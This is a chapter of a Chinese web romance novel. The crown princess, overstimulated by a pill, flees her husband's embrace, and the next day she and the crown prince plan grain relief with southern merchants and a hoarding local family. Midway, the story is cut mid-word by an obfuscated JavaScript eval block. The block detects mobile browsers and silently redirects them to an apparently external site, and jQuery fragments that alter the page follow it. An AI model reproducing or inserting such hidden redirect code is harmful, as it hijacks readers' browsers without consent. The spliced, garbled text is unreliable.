初商时 作品

29.别碰我了

秋绪这一通组合拳,直把梁氏打得有苦说不出,忍了半天也只能打落牙齿和血吞,硬挤出个比哭还难看的笑容,躬身领命。


这还不够,秋绪甚至在送走知县夫妇离开前,还以“体恤袁知县公务繁重”为名,特调了两位一直在跟此案的玄铁卫,去“协助”他。


袁知县浊气上涌,在面上淤作一片铁青,只是他今日自知理亏,只能无奈应承下来。


她稍一出手,就是给这夫妇俩调理得面呈菜色,怎么不算是医术小有所成呢?


不过,确实很累。


待那两道碍眼的身影终于离去,秋绪一直紧绷着的神经骤然松弛,整个人如同散了架般,跌坐在椅子上。


她伸手抓过桌案上的剩茶,仰头猛地灌下,那温凉参半的茶水滑过喉间,才勉强缓解了几分身心的疲惫。


演了一整日的威仪卓卓,发现顶着皇家名头营业这件事情,其实是体力活儿。


倒是旁边的顾玉初,一直饶有兴味地睨着她的动静,唇角噙着一抹若有似无的笑:“当真得对你刮目相看,今日这霹雳手段,倒是快准狠。”


“不过借殿下的威风罢了。”秋绪整个人陷在椅中,偏头望他,“午后才说,打蛇就要打七寸,我们下午抵达临阳,就要趁他们还未反应过来,速速出手。”


他抱臂颔首,眸光亮亮:“自该如此。孤的太子妃,本就应百无禁忌。”


“噗,说的我像是什么横行一方的土霸王。”秋绪被他这自信潇洒的模样逗乐,“倒是殿下巡河半日,情况如何?”


“这一回,孤倒是学着太子妃,含蓄内敛,不露声色。”顾玉初慢悠悠摩挲着下颌,声调散漫如闲云,“听了一整天他们那些敷衍搪塞之词,耳朵都快磨出茧子了。”


秋绪闻言,着实诧异,他那性子竟然能按捺这么久,倒是稀奇了。


“你这头闹出这么大动静,引得他们都将目光聚焦在你身上,自然就会对孤放松警惕。”他随意打了个响指,“正正好好。”


秋绪思索这暗度陈仓的路数,抬眸对上他的眼神,忽而一笑——他们竟然不约而同地换了手打招,倒也着实有一番趣味。


夜色如墨,将天地温柔包裹。


不知何时又下起雨来,细密的雨丝沙沙轻响,在窗外织成朦胧的帘子。


兰心与桃溪知道秋绪今日劳累,服侍她沐浴更衣时也安安静静。


先是用热气腾腾的泡澡水洗去她的疲惫,又轻柔地打理好她那头瀑布般的青丝,再换上素软寝衣,做好一切安睡的准备。


未久,秋绪终于放松地滚进温软的被褥之间,四仰八叉躺着,望着拔步床顶繁复的雕花,发了会儿呆,思绪渐渐飘远。


许是因为清神丹的药效还未消散,又或许是这一天的经历过于跌宕,此时她的身体分明倦怠不堪,可精神却仍旧亢奋,脑海深处仍未安静下来,不断涌出新的想法。


秋绪回忆起今日种种,仍是觉得不可思议。


那三个从鬼门关抢回来的孩子,仿佛是老天爷递到她手中的线引子,牵着她绕过了知县夫妇设下的重重陷阱。


而后,她只凭着些许零碎线索,竟像抽线头般揪出了关键破绽,短短半日,便将真相拼凑得八九不离十。


简直是抽中幸运大礼包。


此刻回想,连她自己都心惊——从当众审案时许下重诺,到与袁知县对峙时寸步不退,这浑身是胆的模样哪像从前?


——当然,不可否认她当时其实很心虚,但表面上却半点不敢露怯,演也要演出气势非常来。


天呐,这还是她吗,简直脱胎换骨了。


上辈子或许是因为她身子骨过于柔弱,身为病人,一直像个瓷器似的,需要被捧在手心。


不单是自己事事小心,连周围人也喘气都不敢大声,唯恐她哪天就跌碎了。


长年累月的这般照料,便养成了她怂包的性子,万事皆不敢轻易尝试。


可现在全然不同了,她有了健康的身体。


太子妃的头衔与玄铁卫都攥在手中,清神丹既让她灵台清明又添胆色,再加上那三分演什么像什么的天分,今日不就演得圆圆满满?


至于顾玉初……他的气势,明摆着就能稳稳当当地为她兜底。


她掰着手指细数底气,心里很踏实。


转念又想到今日见到的灾民,难免唏嘘片刻,往日她也是淋着旁人檐下雨水才活过来的,见此情景,怎忍心不伸手挡一把?


也因为此次出头,她大概有了数——那赈灾米粮必是被截留后流入黑市,如今临阳城里的米价肯定疯涨得像脱缰野马,再难回落。


眼下即便揪出吐不出半颗米粒的小喽啰定罪,也于事无补,满城的饥肠辘辘声却是火烧眉毛。


得琢磨琢磨,那贪官污吏吞进肚的血汗粮,到底怎么才能让他们吐出来?


秋绪在床上翻来覆去,思绪乱窜,实在想不出主意来,一气之下手脚并用将被子撑起,蹬着腿把被子旋成一张不停翻转的甩饼。


于是顾玉初擦着半湿长发迈进寝室时,映入眼帘的,就是太子妃不知道为什么突然变成了忙碌的甩饼师傅。


好家伙,每天都能有新鲜感。


他随手将软巾搭在屏风上,冷不丁出声:“练什么神功呢?”


“哇哇哇!!!”


秋绪吓得猛一缩爪,棉被泄了劲儿,乌云般铺天盖地压下来,糊了她一脸。


方才玩得忘形,竟连推门声都未听见。


鼓囊的被子团蛄蛹片刻,钻出个懊恼的脑袋,她顶着鸟窝头直挺挺地坐起来,板着脸义正词严:“都怪你,我正冥想国家大事,你怎么能打断我的思路?这下好了,方才悟到的济世良策全飞了!”


顾玉初抱着手臂,倚靠在柜边,目光扫过被她玩儿得乱七八糟的棉被,难以赞同:“是吗?脑子长到被子里去了?”


“哎,跟你说不明白。”秋绪拽过被子裹在肩头,傲然扬起下巴,轻描淡写地说,“自古奇才皆异相,我这等经世天才,当然有些旁人看不破的怪癖。”


“哦?是吗?”


“那是自然!我……”


秋绪本想再编排几句荒唐话,可声音到嘴边,却瞬间止住。


因为此时,顾玉初正直接朝她走来。


——他沁着暖湿水汽的身形正放肆侵染着她的目光,漆黑长发漫过肩线,寝衣领口微微敞开,烛光在他贲张紧绷的胸肌线条上跳跃,竟晃出一圈圈亮莹莹的光晕。


她慌忙地转开视线,却嗅到缠绕着水雾的淡淡暗香,混杂着青竹皂角的味道。


正是这一缕香气,让刚才还在胡闹的她所有动静都戛然而止。


秋绪顿时反应过来,心里一沉。


该死,都多久了,清神丹怎么还没过劲儿?


他们方才在楼下时,彼此的距离还不算太近,她好歹这段时间常与他贴贴抱抱,也算是练出来了,这种程度完全能接受。


但眼下这距离——她连他脖颈上缓缓下滑的水珠都看得清晰,要是真睡一块儿那该怎么办,她再后退也超不过一张床的距离啊!


于是,随着顾玉初的靠近,心有惴惴焉的秋绪不由自主地往后退。


然而他周身散发出的气息仍是悄无声息地织作无形厚茧,一寸又一寸地逐渐抽枝发芽,缚住她的眼耳舌鼻身。


秋绪仿似陷入某种迷障。


不知不觉间,眼前只有他锁骨微陷的沟壑,耳廓只有他长发擦过衣领的簌簌碎响,鼻息深处,是鲜花盛开般弥漫四野的雪女泪冷香。


四肢百骸无法动弹,神魂深处却绽开一簇无声的火焰。


顾玉初散漫地在床榻边沿坐下,见她突然间陷入呆滞状态,不由挑眉:“怎么了天才?这被子不转了,脑子也跟着不转了?”


这话很难听,刺耳得让秋绪勉强回过神来,并且对自己这信息过载导致突然宕机的傻样儿恼羞成怒,顺手抓起软枕狠狠砸向他:“说句漂亮话就那么难?”


顾玉初信手一抬,便接住软枕。


他忽的笑出来:“好,漂亮的被子不转了,漂亮的脑子也跟着不转了?”


秋绪闭眼长叹。


罢了,横竖是鸡同鸭讲,不与他计较。


她暗自掐了一把大腿,嘶好疼,不过好歹从混沌中清醒过来,赶忙讲起正事儿企图转移注意力:“我方才是在想,如今满城饥民嗷嗷待哺,官仓存粮却不剩多少,这烂摊子要怎么收拾?”


顾玉初双臂枕在脑后倚在床头,满目皆是气定神闲:“急什么,孤早有安排。”


秋绪闻言眼前一亮,不愧是你啊顾玉初,总能在关键时刻拿出第二套方案。


她一时忘了方才的狼狈,下意识凑到他跟前追问道:“什么安排呀?快跟我说说,你也不能总是不跟我透底。”


这下他倒是卖起关子来,抬手往床柱挂钩上一拂,帐幔如云垂落:“更深露重,先睡觉,明日你自会知晓。”


秋绪一听,满心泄气。


一抬头却猝然撞进顾玉初眼底。


那眼眸沉如墨玉深潭,眼底翻滚暗潮,似有欲语还休的一点星光,瞬间吸住她心神。


不过刹那间,天地间独余眼前人,铺天盖地,再无其他。


她情不自禁地向前倾伏,恍惚是被无形的丝线牵引着,与他的距离一点点地拉近,慢慢地融进他的气息里。


顾玉初仍在原地,未动分毫。


他只垂眸看着她缓缓靠近,喉结微微一动。


渐渐地,他们的呼吸缠绵.交.叠,湿漉漉的热意拂过鼻尖时,似有千万只萤火虫在身体里点燃光芒。


呲啦!


骤然间,一道电光劈开雨幕,屋内顿时亮堂如白昼,一下子将她从迷乱中惊醒。


秋绪猛然发现,与顾玉初的嘴唇仅剩一指距离,脑海中警铃大作,倏地后撤,连蹦带跳地退避三尺,连脊背都撞上墙壁都顾不上喊疼。


还好还好!


老天鹅,差一点就亲到了!


他坐那儿一动不动,眼神好吓人,简直就是在脸上写着“我倒是要看看你怎么作死”,幸好她及时刹车免于一难!


心脏狂跳得要吐出来,她赶紧拍拍自己滚烫的脸颊,完了完了,单是看他两眼魂已不守舍,要是同睡一个被窝……


嘶——


秋绪猛打个寒噤,那后果真是想都不敢想。


她干脆抱起被褥哗啦展成三八界河,柳眉倒竖佯怒道:“今夜划床榻为界,各拥疆域!反正殿下今日体温如常,没必要抱着我降温,咱就别挨一块儿了。”


顾玉初顿时眉头一蹙,冷声道:“不行。”


秋绪理直气壮:“凭什么?”


他的双眼平静无波,说出来的话却斩钉截铁,或者说是咬牙切齿:“不行就是不行。”


秋绪万万没料到他这般霸道,正要诘问,顾玉初的挺拔精壮的身躯,却瞬间朝她笼罩而来。


他长臂一展,竟将她拦腰掳至床榻中心,而后一手卡在她腰后,一手抖开棉被,将她裹得严严实实,连人带被收拢入怀。


秋绪没吱声。


并非缄默,实是魂飞魄散,差点昏迷。


——他迫近的速度太快,她根本来不及躲。


清神丹的药性似是为她亮起万千盏明亮的灯,当他那张惊艳绝伦的面容陡然放大,连睫毛颤动的细影都能映照得纤毫毕现。


此刻,他们肢体相贴,仅隔着两层单薄的寝衣,他心跳的搏动混着药香浸骨的热意,蜿蜒渗入她的肌肤。


更要命的是缠绕耳际的吐息声,如蛇信子般,一呼一吸都在撩拨她紧绷的神经。


顾玉初敏锐发觉,怀里的秋绪竟然在微微颤抖,甚至无意识地抓紧被子,就像是溺水的人终于找到浮木。


他不解垂眸,恰好看见她睁开双眼,眼底竟然浮动着细碎的泪光。


怎么回事?方才还生龙活虎横冲直撞呢,怎么这会儿就蔫吧了?


“你身体不舒服吗?”


秋绪咬着后槽牙摇头,泪水却溢出眼眶。


这要她怎么解释?


纯属是清神丹的药力未退,放大五感,搅出滔天漩涡,看着伤心欲绝,但全是感官过载刺激出的生理泪水啊。


顾玉初却忽然抬起手,抚过她的眼角,拭走一滴残泪——指尖不小心掠过耳垂的瞬间,她猛地一颤,又有泪水夺眶而出。


“……别碰我了!”她捂着急欲闯破胸口而出的心脏,快被自己这超绝敏感肌气死了。


顾玉初面色霎时间冰封:“由不得你。”


为何她总是拒绝他?每一次他想要靠近,她都会不断后退,好似忍无可忍,难道是因为害怕他,才勉强愿意与他同眠。


今天甚至因此哭了,就这么抗拒吗?


思及此处,顾玉初更是难堪,较劲似的收紧了环着秋绪腰肢的手臂,用力将她压向肌理贲张的胸膛。


玉山将倾之际,秋绪双掌死死抵住他的灼热怀抱,身体拼命往后仰:“真的不行!不行……我口渴了,松手松手,我要去喝水!”


顾玉初一听,这嗓音,几乎都带着哭腔了。


就趁着他这一瞬间的犹疑,臂力微微松懈,秋绪猛地推开他,甚至顾不上穿鞋,落荒而逃。


她一路奔至窗边,一手扶着屏风,弯着腰急促喘气,简直想把心脏吐出来。


铜镜中映出的面容好似火烧云,她都不忍细看,赶紧转身,抖着手倒了半杯冷茶,仰头一饮而尽,企图浇熄这满身热意。


老天鹅,这都一整天了,她都觉得已经和清神丹的诸般效用完美融合,尽在掌控。


而且她身为太子妃,兰心桃溪将大部分靠近的人都挡在外侧,并无接触机会。


但是顾玉初却避无可避,他简直像个行走的迷魂阵,一近身相贴她就犯晕,这增益丹药瞬间变得跟某种不可说的药似的。


还好还好,这会儿夜已深,药效应该够钟了,只要再熬过这一小短时间,她就可以回去美美睡觉了。


秋绪努力地梳理平复一团乱麻的情绪。


她一转眸,望着窗外丝丝冷雨,莫名怔愣,真是寒凉得彻心透骨,不知道淋淋雨,能不能将她心底那一簇越烧越旺的火浇成残烟。


然而发呆半晌,她忽然寒毛四起——


怎么回事?难道是对于方才的惊魂种种还心有余悸?为什么还觉得顾玉初的气息还萦绕在四周?莫非是挣扎之间,她身上也沾染了他身上的味道?


此时,窗户上黑影一闪,她身后突然鬼魅般出现一个高大的身影。


脚下陡然一空——


她的尖叫声还未出口,天旋地转间,竟是被顾玉初拦腰横抱。


秋绪惶然抬眸,看到他的面色极为难看,眉间如笼罩阴霾,眸子更是淬了冰,比窗外乌云压阵还多几分鬼气森森。


“殿下,放我下来……”


“闭嘴。”


顾玉初不容分说,抱着秋绪,大步流星朝着寝室的方向走去。


秋绪抵着他的胸膛,都要哽咽了:“殿下,你要做什么……”


顾玉初不耐烦地说:“我倒要问你做什么?大半夜光脚跑出来淋雨,演什么苦情戏?”


坏了,连自称都换了,肯定是生气了……


秋绪心中一紧,不敢再说话,只在心里暗暗祈祷,赶紧熬过药性消退便好。


未料到的是,回到房间内,顾玉初直接把她扔到床上,随后被子一掀,将她裹得严严实实,唯留她乌溜溜的一双眼睛露在外头。


他起身拂袖,将桌案上的烛灯一吹,独留一缕轻烟。


满室骤暗里,他毫不犹豫转头就走。


“殿下!”秋绪在被窝里挣扎着,急急忙忙道,“你要去哪儿?”


顾玉初冷冷丢下一句:“睡你的,少管我。”


昏暗的夜色中,唯有他那被扯得伶仃细长的背影,而后,寝门轰然闭合。


秋绪心头霎时翻涌难言滋味,没想到他竟然会这么不高兴,可他分明已经气极,却还是留了余地——他转身离去,成全她一榻清净。


她再次独自躺在床上,盯着拔步床床顶的雕花,直看得她眼底酸涩。


本还想着,身体一会儿好点了便去找顾玉初,然而她今日实在身心俱疲,昏昏沉沉间,浓重的倦意漫上眼睫,没过多久就沉沉睡去。


待秋绪从梦中转醒,已然天光大亮。


她抱着被子,迷迷糊糊准备下床,兰心听到动静推门入内,捧过热毛巾与干净衣裳,细心侍奉,而后将她的一头乌发绾成流云髻。


待她终于清醒过来:“太子在哪儿呢?”


“太子殿下在楼下花厅候着您呢。”兰心为她插上簪子,“说是要带殿下去见贵客。”


“贵客?”她一愣,眼前忽的一亮,原来他昨夜说的安排竟是真的,当下便起身要走,“怎么不早说,快带我去见客人……”


话音未落,便被兰心按住手腕:“殿下莫急,太子特地嘱咐过,待您用过早膳再去。”


花厅内,小厮报过后退至外间,秋绪迎着晨间暖阳跨过门槛。


顾玉初并未穿官袍,一袭云纹燕居服竟给他穿出风流倜傥的感觉。他闲靠主位,明亮的光线透过窗户落在侧脸,更衬得眉目如画。


客席分坐两位生面孔。


左侧男子宽额阔面,通身气派,右侧妇人素净干练,发髻斜簪素银钗。


见秋


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696586|168546||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


绪入内,二人站起身行礼。


“玉清粮行薛三,见过太子妃殿下。”


“南川米商赵七娘,问殿下贵安,今蒙太子殿下传诏我等北上,但凭驱策,是小民之幸!”


秋绪微微一愣。


玉清与南川,那已经是江南之地。


昨日才露粮荒困顿,今日江南粮商便能坐在眼前——江南粮道距离临阳何止千里?重车涉水翻山,少说也需要半月脚程。


莫非早在他们新婚前后,顾玉初便谴了信使南下?可他到底是如何能得知这些……


秋绪情不自禁转眸看向顾玉初,他却似浑然未觉,只低垂着眼帘,将视线锁定在面前的茶盏上,连余光都未曾施舍。


这模样,怕是还在为昨夜的事情别扭生气,偏偏因为客人在场,不能发作,只能故作镇定,藏住眼底不满。


秋绪从容入座,唇边弯起恰到好处的笑容:“幸得义商相助,倒是本宫后知后觉了。”


她问道,“只不知殿下允了何等厚酬,让二位愿意跨越漫长路途,千里运粮而来? ”


既然是商人,必然是许以重利。


这倒也不失为一个良策,只要能用钱财解决的问题,便不算棘手。


果然听得薛三回禀:“月前水患初见端倪时,殿下便谴了快马传诏,允以玉清的秋粮价,再添三成之数,却仍低过临阳黑市五成有余。”


赵七娘也道:“殿下还赐我等盐引两千斤,而且此批救灾粮漕船,过闸并不收税。”


秋绪一听盐引,忽然想笑。


原来他真是从那会儿就开始铺陈,这翻云覆雨的手段,真是不容小觑。


待听完整个谋划,秋绪昨夜焦虑的心情轻松不少,原来顾玉初打的是这般快刀斩麻的算盘。


秋绪主管民生事务,待她有了直接掌控的粥棚或米行,便能将这从江南远道而来的糙米卸货,快进快出。


不得不说,这做法真的很有顾玉初的风格,就像一颗威力巨大的经济炸弹,一经投下,便让本地黑市那些高价米粮瞬间陷入滞销的困境。


再瞧那两位粮商,脸上早笑开了花。


白花花的银子落袋不说,更抓住了直通太子妃粮仓的独门生意,御赐“义商”的招牌往门前一挂,期间还能和储君同行的官员喝个脸熟酒——这趟买卖做成了,将来整个江南的粮路怕都要改姓薛赵了!


双方相谈甚欢,未久二位粮商便告辞,前去处理太子吩咐的米粮之事了。


待他们的脚步声终于消失,屋内只剩下秋绪和顾玉初二人独处了。


秋绪悄悄转过脸去瞧顾玉初。


他仍不看她,垂着眼,薄唇抿作一线,端的是冷若冰霜。


她故意凑身上前,去找他的视线,却见他将脸一别,完全不肯搭理她。


真不愧是太子殿下啊,闹别扭都闹得这么大大方方,简直把“快来哄我”写在脸上。


再加上方才引荐二位粮商,解决了她的燃眉之急,他肯定心里得意着呢,偏要做出这臭屁上天谁也不理的样子。


秋绪原本是想说几句软话哄哄他,见他故作矜持,忽然又改了主意。


她清了清嗓子,语调带着几分刻意的忧愁,逗他道:“殿下,此番举措虽然能暂时解眼前困境,却将临阳大半的粮商都得罪透了。”


顾玉初眼风都没动一下,但好歹开了口,语气不悦:“不想得罪人,就只能原地打转,你要看灾民啃观音土到开春?”


“是这个理儿。”秋绪轻叹一声,非常做作地说,“我是怕……怕又招来豺狼环伺,上回遇刺可把我吓坏了呢,我这颗心呀,简直是日日悬在刀刃上,实在经不住再生波折了。”


顾玉初眼睛一眯,这才觉得不对。


听她这掐着嗓子说话的调子,简直和之前哄踏雪“姐姐这颗心啊,只有踏雪一个宝宝呢”没什么不同。


他的喉结几不可见地滚动一下,终于屈尊降贵扫她一眼,却对上一双笑意盈盈看来的杏眼。


她皱皱鼻子,灿烂的笑容甜丝丝的,语气带着点撒娇:“殿下,别生气啦,我可担心你了,是真经不住波折了呢。”


顾玉初凝视她良久,半晌只哼一声。


却未吐出一个字。


秋绪见他没直接拂袖走人,那便是不生气了,当下放了一半的心。


不过方才她所想并非没有道理,既然谈及此事,便顺着这话深入说道:


“殿下,依我浅见,单靠外援并非长远之策,那江南粮商终究是过客销货,清仓后便抽身而退,临阳却需要有活水长流——”


她想了想,建议道,“何不将本地豪绅的粮仓撬开呢?临阳明明存粮颇丰,只不过他们都不肯拿出来罢了!”


顾玉初抬眼瞥她,冷面裂开一丝戏谑:“昨晚折腾完被子,想出来这主意?”


这人,真是个爱记仇的。


秋绪挺直腰背:“正是!我觉得这主意挺好的,他们贪官既然能勾结豪绅屯粮,我们怎么就不能趁火打劫?”


“既有江南糙米压着黑市价,此时撒出诱饵,必有大鱼咬钩!”


顾玉初微微蹙眉:“地头蛇盘踞已久,哪有那么容易被说服?”


“那就是筹码不够多,雪花银不够沉,条件不够优厚。”秋绪笃定道,“饵够香,根本不愁没人主动打开粮仓。”


顾玉初沉吟片刻,半晌颔首,算是认可她的想法,但问题在于,该找谁来开这个头呢?


二人对视一眼,心中同时浮现出最合适的参谋人选——胡知府夫妇。


经过这两日的观察,秋绪发现了,胡知府夫妇算是那种热衷于明哲保身的实干人才。


他们谨慎讨巧,既有才能又肯做事,处理与皇家及关系户的事务也颇有心得,就像是团体中那个知道所有人八卦的老实人。


你不问他不说,你一问他惊讶。


待将胡知府夫妇召至跟前,他们将将坐定,顾玉初便未有丝毫拖沓,开门见山地说道:


“胡知府,王夫人,官仓之事想必你们也已知晓,太子妃亲见粥棚惨状,灾民们饥肠辘辘,此地豪绅之中,哪家仓廪充实?速速寻得一条出粮之路,以解当下燃眉之急。”


胡知府依旧如以往般行事谨慎,他思忖片刻,恭敬说道:


“回殿下,本地仓廪丰足的大户的确有不少,例如城东刘举人一家,府中百亩仓廪,且是袁知县的乘龙快婿,还有城南的张盐商,商铺连栋,这人性子也圆滑,最擅长左右逢源。”


他一顿,忽然微微提高音量,“但要是论囤积粮食的能力,数百年间当属石家为最!他们家的粮仓,简直像碉堡般高大坚固。”


说到此处,他瞟一眼太子妃,遗憾道,“只不过,石家代代皆是倔如牛的脾气,就连袁知县的寿宴,竟也敢托病不去。”


秋绪:“……”


这几乎就是明示了,也是辛苦胡知府前面铺垫那么多。


于是她接过话茬儿,转而问道王氏:“夫人深谙内宅,可知这几户的女眷之中,谁家常有悲悯心肠?”


王氏思索片刻,回答道:“刘夫人终日盘算着将庶女塞进县衙作妾,张家奶奶连布施的粥里都要掺沙子呢。”


然后也开始了她过犹不及的暗示,“石家虽是商贾,却立着诗书传家的牌匾,石老夫人常开义仓设蒙学,去年水漫北堤的时候,还自费买了石料固堤呢。”


她说着又有些犹豫起来,“不过,石家最重名声了,之前和袁知县结过梁子,如今闭门谢客,最忌讳和官家沾边。”


“结过梁子?重名声?如此甚好!”顾玉初倒是很满意,“他家存粮几何?”


胡知府心领神会:“石家粮仓……听闻米粮不下万石,若能让他们开仓放粮,熬过三个月都不愁啊!”


秋绪看他这模样直想笑,看来胡知府惦记石家很久了,今天竟然见太子主动提,恨不得摇旗呐喊要去撬石家仓库。


石家本是临阳城漕运行里的龙头,管着七八处关键的河道码头。


他们家沿河建的仓库群,盖得比城墙还厚实,除了堆自家贩运的米粮布匹,也收钱帮别家存粮,那真是连老鼠都饿不着。


因其业务严重依赖河道和仓库位置,所以石家必然与袁知县存在利益纠葛,他们从这方面入手,再好不过。


于是秋绪当机立断拍板:“既然如此,劳烦两位走趟石府。”


胡知府夫妇闻言,立刻恭谨行礼,齐声说道:“殿下但有所命,下官自当效命。”


“只需告知石府,京中有贵人久闻石家以仁义传家之名,心生敬慕,欲促成一桩能让石府祠堂生辉,令满城乡亲感恩戴德的善缘”


“——请老夫人得空时,拨冗一叙。”